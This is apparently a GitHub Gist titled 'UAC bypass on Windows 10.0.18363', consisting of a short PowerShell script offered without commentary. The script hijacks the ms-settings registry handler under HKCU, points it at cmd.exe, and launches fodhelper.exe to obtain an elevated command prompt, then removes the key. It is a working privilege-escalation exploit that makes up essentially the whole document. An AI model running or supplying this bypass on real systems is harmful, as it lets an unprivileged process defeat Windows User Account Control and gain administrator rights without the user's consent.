Created
April 21, 2020 14:33
-
-
Save adenkiewicz/0832f4d8e1af7445532566aa98540c9c to your computer and use it in GitHub Desktop.
UAC bypass on Windows 10.0.18363
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | |
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | |
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force | |
Start-Process "C:\Windows\System32\fodhelper.exe" | |
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment